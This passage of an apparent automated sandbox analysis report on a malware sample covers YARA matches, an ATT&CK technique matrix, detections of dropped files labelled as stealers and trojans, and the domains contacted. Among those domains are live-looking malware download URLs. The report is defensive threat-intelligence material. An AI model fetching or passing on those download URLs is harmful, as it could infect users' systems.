Source: Yara match	File source: 00000001.00000002.725665133.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.713707724.00000000044C1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797092954.00000000006E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.725720765.0000000000511000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783710135.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.783461407.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.797009453.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API11	DLL Side-Loading11	Exploitation for Privilege Escalation1	Disable or Modify Tools11	Input Capture1	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer13	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution1	Application Shimming1	DLL Side-Loading11	Deobfuscate/Decode Files or Information11	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Windows Service1	Application Shimming1	Obfuscated Files or Information4	Security Account Manager	System Information Discovery15	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution2	Logon Script (Mac)	Access Token Manipulation1	Software Packing23	NTDS	Security Software Discovery841	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Windows Service1	Timestomp1	LSA Secrets	Virtualization/Sandbox Evasion441	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol25	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection512	DLL Side-Loading11	Cached Domain Credentials	Process Discovery3	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion441	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection512	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Hidden Files and Directories1	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
y4oMrtO1Mt.exe	29%	Virustotal		Browse
y4oMrtO1Mt.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\82DC.exe	100%	Avira	HEUR/AGEN.1144480
C:\Users\user\AppData\Local\Temp\59B4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F72D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\610B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\82DC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8039.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\hrgjvbv	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9D57.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B8B0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\argjvbv	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1105.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1105.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8039.exe	36%	ReversingLabs	Win32.Trojan.RedLineSteal
C:\Users\user\AppData\Local\Temp\82DC.exe	54%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\9D57.exe	74%	ReversingLabs	Win32.Trojan.Krypter
C:\Users\user\AppData\Local\Temp\B8B0.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\B8B0.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\argjvbv	74%	ReversingLabs	Win32.Trojan.Krypter

Unpacked PE Files

Source	Detection	Scanner	Label	Download
11.0.hrgjvbv.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.y4oMrtO1Mt.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
23.2.9D57.exe.5d0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
27.0.610B.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
29.0.82DC.exe.9d0000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
13.0.F72D.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.82DC.exe.9d0000.3.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
32.1.argjvbv.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.1.y4oMrtO1Mt.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
12.2.F72D.exe.2bd15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.F72D.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.2.argjvbv.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.2.argjvbv.5c0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.F72D.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.3.9D57.exe.5e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.9D57.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.F72D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
10.2.hrgjvbv.2bd15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.y4oMrtO1Mt.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
27.0.610B.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
13.1.F72D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.y4oMrtO1Mt.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.y4oMrtO1Mt.exe.2cb15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.82DC.exe.9d0000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
11.1.hrgjvbv.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.82DC.exe.9d0000.2.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
27.0.610B.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
11.2.hrgjvbv.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.610B.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
29.0.82DC.exe.9d0000.1.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
27.0.610B.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1127982	Download File
11.0.hrgjvbv.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.y4oMrtO1Mt.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.hrgjvbv.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.3.argjvbv.5d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.1.9D57.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://privacytoolzforyou7000.top/downloads/toolspab2.exe	12%	Virustotal		Browse
http://privacytoolzforyou7000.top/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://host-host-file6.com/files/7993_1636371023_9825.exe	15%	Virustotal		Browse
http://host-host-file6.com/files/7993_1636371023_9825.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/DetailsDataSet1.xsd	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://tempuri.org/t	1%	Virustotal		Browse
http://tempuri.org/t	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
https://get.adob	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://tempuri.org/X	0%	Virustotal		Browse
http://tempuri.org/X	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id3Response	0%	URL Reputation	safe
http://service.r	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
host-host-file6.com	47.74.84.15	true	false	high
hajezey10.top	47.74.84.15	true	false	high
escalivrouter.net	192.42.116.41	true	false	high
cdn.discordapp.com	162.159.134.233	true	false	high
nalirou70.top	47.74.84.15	true	false	high
nusurtal4f.net	45.141.84.21	true	false	high
privacytoolzforyou7000.top	47.74.84.15	true	false	high
netomishnetojuk.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://privacytoolzforyou7000.top/downloads/toolspab2.exe	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://host-host-file6.com/files/7993_1636371023_9825.exe	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL	8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id12Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, B8B0.exe, 00000018.00000002.954057953.0000000003041000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp, 8039.exe, 00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp, 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp, 82DC.exe, 0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	AdvancedRun.exe.24.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault$	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_shockwave	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://nvidia.custhelp.com/app/answers/detail/a_id/3553	8039.exe, 00000014.00000002.860118646.0000000002F03000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id5Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://tempuri.org/DetailsDataSet1.xsd	B8B0.exe.5.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id10Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_wmp	8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	false		high
http://ocsp.sectigo.com0	59B4.exe.5.dr	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_java	8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_divx	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/t	610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id22Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
https://get.adob	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id18Response	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://service.real.com/realplayer/security/02062012_player/en/	8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	false		high
